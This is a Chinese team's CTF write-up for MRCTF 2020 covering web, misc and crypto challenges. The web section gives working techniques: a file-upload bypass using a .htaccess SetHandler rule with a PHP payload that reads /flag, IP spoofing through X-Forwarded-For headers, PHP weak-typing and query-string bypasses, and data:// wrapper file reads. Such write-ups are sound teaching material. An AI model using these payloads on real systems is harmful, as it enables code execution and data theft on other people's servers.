码迷,mamicode.com
首页 > 其他好文 > 详细

MRCTF 2020-“TiKi小组”

时间:2020-03-29 21:02:36      阅读:358      评论:0      收藏:0      [点我收藏+]

标签:jpeg   判断   port   div   log   ase   官网   handle   i++   

 

题目状态:

OPEN - 正在试图解这道题
CLOSED - 这道题还没有打开
SOLVED - 解决了!鼓掌撒花!

赛事信息

Flag格式:MRCTF{}
起止时间:2020-03-27 18:00:00 - 2020-03-29 22:00:00
官网地址:https://merak-ctf.site/
参赛地址:https://merak-ctf.site/

Web:

ez_bypass | SOLVED|

考察php弱类型绕过

?id[]=1&gg[]=2

然后
以POST方式发送

passwd = 1234567%20

你传你??呢 | SOLVED|

Content-Type头验证,和后缀验证。
Content-Type是白名单,只能Content-Type: image/jpeg
后缀应该是黑名单,拉黑了ph之类的。
可以考虑通过上传.htaccess

<FilesMatch “test”> SetHandler application/x-httpd-php

然后在上传一个
test
内容为

Content-Disposition: form-data; name=“uploaded”; filename=“test”
Content-Type: image/jpeg <?php var_dump(include("/flag"));

上传成功访问即可得到flag

PYwebsite | SOLVED|

打开页面,他让你购买flag。
但是我们无??。
可以看看验证逻辑。
技术图片
前端验证。
直接打开flag.php技术图片
图片: https://uploader.shimo.im/f/P2lLVWyvRaowCuNH.png
他说购买者和自己,那加一个请求头,把ip指向自己
X-Forwarded-For: 127.0.0.1
得到flag.

MRCTF{8a3fc8ec-eae5-4500-8641-35b099590e63}

套娃 | SOLVED|

//1st 	$query = $_SERVER[‘QUERY_STRING‘]; 	 	if( substr_count($query, ‘_‘) !== 0 || substr_count($query, ‘%5f‘) != 0 ){ 	die(‘Y0u are So cutE!‘); 	} 	if($_GET[‘b_u_p_t‘] !== ‘23333‘ && preg_match(‘/^23333$/‘, $_GET[‘b_u_p_t‘])){ 	echo "you are going to the next ~"; 	} 	!-->

php会把.替换成_
所以get请求b.u.p.t=23333%0A即可绕过。
绕过后告诉我们flag在
FLAG is in secrettw.php
打开后提示你要以本地方式访问
X-Forwarded-For: 127.0.0.1
Client-ip: 127.0.0.1
得到一串 JSFUCK
解开后让我们post Merak
之后得到源码

if(isset($_POST[Merak])){  
    highlight_file(__FILE__);  
    die();   }  


function change($v){  
    $v = base64_decode($v);  
    $re = ‘‘;  
    for($i=0;$i<strlen($v);$i++){  
        $re .= chr ( ord ($v[$i]) + $i*2 );  
    }  
    return $re;   }  echo Local access only!."<br/>";  $ip = getIp();  if($ip!=127.0.0.1)  echo "Sorry,you don‘t have permission! Your ip is :".$ip;  if($ip === 127.0.0.1 && file_get_contents($_GET[2333]) === todat is a happy day ){  echo "Your REQUEST is:".change($_GET[file]);  echo file_get_contents(change($_GET[file])); }  ?>   ?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=

 

这个file要通过change函数。
所以需要加密后在传过去。
加密代码:

<?php function change($v){  
    $re = ‘‘;  
    for($i=0;$i<strlen($v);$i++){  
        $re .= chr ( ord ($v[$i]) - $i*2 );  
    }  
    
    return base64_encode($re);   } echo change("flag.php");

 

Reverse:

技术图片

Pwn:

技术图片

Misc:

Hello_Misc | OPEN |

在liunx 中使用binwalk -e 分解图片,有了一个压缩包,然后使用看图Stegsolve
技术图片取出图片,得到了zip密码

!@#$%67*()-+

技术图片
呜呜呜太难了,后面看不懂,以为是rgb,弄出来也不是呜呜呜技术图片

你能看懂音符吗 | SOLVED |

下载下来发现rar损坏,用winhex修复一下,解压发现里面内容都消失了
然后使用winhex,发现他是有pk,压缩格式,然后就改后缀名,找技术图片最后找到了技术图片
使用翻译网址
技术图片

MRCTF{thEse_n0tes_ArE_am@zing~}

CyberPunk | SOLVED |

打开是一个程序,只需要把自己电脑时间改成2020/09/17就能获得flag了

MRCTF{We1cOm3_70_cyber_security}

ezmisc | SOLVED |

高度问题,使用脚本算出高度,就能看到图片露出flag技术图片

MRCTF{1ts_vEryyyyyy_ez!}

pyFlag | OPEN |

发现每个图片放进winhex里面发现又zip,什么都分不出来,后来发现是zip分开放在3个图片中,然后复制整合一下,就有了带锁的zip,用破解软件,发现密码1234,得到了技术图片
可惜还是不行呜呜呜呜,技术图片求大哥救救

Unravel!! | OPEN |

图片和音乐中分离出来,2个文件,我觉得是兔子(rabbit)加密,
技术图片
分离出来是这个key=U2FsdGVkX1/nSQN+hoHL8OwV9iJB/mSdKk5dmusulz4=
可惜还是不行呜呜呜呜,技术图片求大哥救救

不眠之夜 | SOLVED|

拼图拿答案技术图片
请叫我拼图大师~~~真的让我彻夜未眠,呜呜呜呜

MRCTF{Why_4re_U_5o_ShuL1an??}

千层套路 | SOLVED |

使用代码

import zipfile,os def unzip(path,zfile):
    file_path=path+os.sep+zfile
    desdir=path
    print(desdir)
    srcfile=zipfile.ZipFile(file_path)
    for filename in srcfile.namelist():
        srcfile.extract(filename,desdir,pwd= bytes(zfile.split(".")[0],"utf8"))
        if filename.endswith(.zip):
            # if zipfile.is_zipfile(filename):
            path=desdir
            zfile=filename
            unzip(path,zfile)   path="C:\\Users\\XMAO\\Desktop\\py" zfile="0020.zip" unzip(path,zfile)

 

解出一个rgb 得qr.txt
技术图片
最后去掉所有得括号解得flag

from PIL import Image x = 400    #x坐标  通过对txt里的行数进行整数分解 y = 400   
#y坐标  x * y = 行数 im = Image.new("RGB", (x, y))   #创建图片 file = open(‘qr.txt‘)    #打开rbg值的文件
#通过每个rgb点生成图片 for i in range(0, x):
    for j in range(0, y):
        line = file.readline()  #获取一行的rgb值
        rgb = line.replace("\n", "").split(", ")  #分离rgb,文本中逗号后面有空格
        print(rgb)
        if(rgb[0] == ‘‘):
            continue
        im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))     im.show()   #也可用im.save(‘flag.jpg‘)保存下来 im.save(‘flag.jpg‘)

MRCTF{ta01uyout1nreet1n0usandtimes}

寻找xxx | SOLVED |

题目给出一段录音,初步判断为一个电话号码,后经过听音鉴键,得到一个号码,将其发送给公众号得到一张图片,图片内容里就有flag
技术图片

MRCTF{Oh!!!_Y0u_f1nd_my_secret}

Crypto:

keyborad |SOLVED|

题目给出一个文本,文本的内容判断为9键的,解得mobilephond
然而这是错误的,于是根据单词的意思,改为 mobilephone
提交成功 所以flag为

MRCTF{mobilephone}

天干地支+甲子 |SOLVED|

题目给出天干地支+甲子,于是得到
技术图片根据ASCII码转换得GoodRob,提交发现并不是flag
转换得Goodjob,非GoodRob

MRCTF{Goodjob}

古典密码知多少 |SOLVED|

题目给的提示是佛曰,解得:古典密码好
题目给出一张图片,是多种密码混合在一起
技术图片蓝色的是猪圈密码,黄色的黑色的查了很久终于发现是圣堂武士和银河密码
解得FGCPFLIRTUASYON这么一串,题目又提示栅栏,于是栅栏解密后,得到FLAGISCRYPTOFUN提交后发现并不对。再次提交CRYOTIFUN,ok。

MRCTF{CRYPTOFUN}

丸~~~~~

谢谢观看,客观们技术图片

MRCTF 2020-“TiKi小组”

标签:jpeg   判断   port   div   log   ase   官网   handle   i++   

原文地址:https://www.cnblogs.com/Mercurysur/p/12594747.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!